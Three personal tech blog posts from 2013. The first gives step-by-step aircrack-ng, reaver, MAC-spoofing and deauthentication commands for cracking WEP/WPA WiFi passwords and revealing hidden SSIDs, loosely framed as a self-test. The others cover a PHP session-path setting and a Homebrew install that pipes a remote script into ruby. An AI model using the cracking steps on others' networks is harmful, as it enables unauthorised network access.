16 January 2013

Is your WiFi secure?

Have you ever hesitated about your WiFi security? You must have thought your WiFi is secure, just because you chose a humongous password or a password with special characters in it, and you assume are safe.
You are wrong. Even though you have secured your network, it might not be as secure as you imagine; no matter what your network encryption you are using WEP, WPA or WPA2. Anyone can easily follow the instructions below and crack your WiFi password.

You need a special modem (more information here) and a BackTrack linux distribution (or just kismet for two last approaches) for this matter. I suggest, if you have time, to follow these instructions and find out if your wifi is secure or not. If at the end, you found the password for your network, your network is not secure as you thought. You'd better think of ways to secure your network.


This is a short listed commands from lifehacker on how to crack your WEP wifi password.

Change mac address (Stop/Change/Start)
  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger --mac 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0
Look up networks
  • airodump-ng wlan0
Capture information in a file
  • airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
  • aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
  • you must get Association Successful to continue
Creating router traffic
  • aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  • look for the data# the higher the better
Crack the code
  • aircrack-ng -b (bssid) (file name-01.cap)
  • it gives you the key in double digit formats like 11:22:33:..


These are instructions from lifehacker on how to crack your WPA/WPA2 wifi password. 

Connect to a Network
  • Click Applications > Internet > Wicd Network Manager
  • Connect to a network, enter your password if necessary. This step is needed to download Reaver.
Get Reaver
  • Open Terminal 
  • apt-get update 
  • apt-get install reaver 
Find your interface
  • iwconfig
Change mac address
  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger --mac 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0
Start Interface
  • airmon-ng start wlan0 
Look up networks
  • airodump-ng wlan0 
Crack the code
  • reaver -i mon0 -b (bssid) -vv 

MAC filtering/Whitelist MAC filtering

SSID Hiding / MAC filtering

These are summary for instructions on Synjunkie.

Find WiFi setting
  • kismet
Join networt
  • iwconfig eth1 essid batman
Obtain an IP address
  • dhclient eth1
  • (if failed there is MAC filtering, if not you joined the network at this point)
Look for valid MAC address
  • kismet
Force MAC address to disconnect
  • aireplay-ng to force a disconnection
Turning off promiscuous mode
  • ifconfig eth1 -promisc
Change MAC address
  • ifconfig eth1 down
  • ifconfig eth1 hw ether 00:16:6F:4D:AE:8C
  • ifconfig eth1 up
  • iwconfig eth1 essid batman
Request an IP address
  • dhclient eth1

  • ping www.yahoo.com

SSID Hiding

Get list of network
  • airodump-ng wlan1
  • airodump-ng -c 6 --bssid 28:EF:01:35:34:85 wlan1
  • aireplay-ng -0 30 -a  28:EF:01:35:34:85 -c 28:EF:01:23:45:67 wlan1
SSID revealed
  • If it does not work the first time try aireplay-ng again until it works. 

10 January 2013

How to change Php default session directory

What you need?

  • Apache Server 
  • Php module enabled on Apache server
Why you need this?
 If there is Php module enabled on your machine but you don't have right permission on the default directory that Php uses for writing session information, you need to change it so that Php works normal.

What you have to do?
There are more than one way to change Php session directory. I am going to introduce one way. In your Apache webroot directory add a file called .htaccess with the following in it:
php_value session.save_path '/home/user1/tmp' (you should change the path to your own desired one) 
How to test if Php is enabled?
Create a file called phpinfo.php and have the following in it:

<?php phpinfo(); ?>

Navigating to that file (e.g. localhost/phpinfo.php). Apache should bring you information about your php installation like below. Navigate to the session section and you can see if the session path for your Php has been changed or not.

3 January 2013

Homebrew / MacPorts

Using Mac is not something extra ordinary, everyone is using it nowadays. I find small nice perks in it every now and then which I like to share it with you. This one is about MacPorts and Homebrew.

If you are a programmer, developer, software engineer or simply a code guru, you can find number of applications to enhance your coding experience in Mac. As you know Mac OS is a *nix based platform, you have both Mac specific apps as well as linux/unix compatible apps on it.
One major kind of applications that you might find advantageous is package dependency resolution / installation with one click. MacPorts and Homebrew are not exactly just that (i.e. one click installation) but they are huge help on installing packages on your Mac. I have tried both and this is what I have found.

I have tried the following commands to install Homebrew.

  • ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)" 
  • ruby <(curl -fsSkL raw.github.com/mxcl/homebrew/go) 

it didn't work for me. Then I head to "Trouble installing Mac Homebrew". Following these steps I was able to install Homebrew:

  • cd /usr/local/bin mkdir homebrew 
  • && curl -L https://github.com/mxcl/homebrew/tarball/master | tar xz --strip 1 -C 
Then I have to update and doctor Homebrew in order to install my package, using the following commands:

  • ./brew update 
  • ./brew doctor 

Then I have added Homebrew to path,  restart it.I then, have to create links to java Extensions manually as follow (specific to the package I wanted to install):

  • sudo mkdir -p /Library/Java/Extensions/ 
  • sudo ln -s /usr/local/homebrew/lib/libsvnjavahl-1.dylib /Library/Java/Extensions/libsvnjavahl-1.dylib
restarting Eclipse, the package I intended to install did work. It was a subclipse package for Mac.

I tried installing the package initially using Macports but it didn't work. I couldn't find any resource on how to troubleshoot it, either I was lazy or I had to search more. Nevertheless, I have reached my goal of installing the package using Homebrew much simpler than using Macports can say much simpler I have reached my goal of installing package with Homebrew.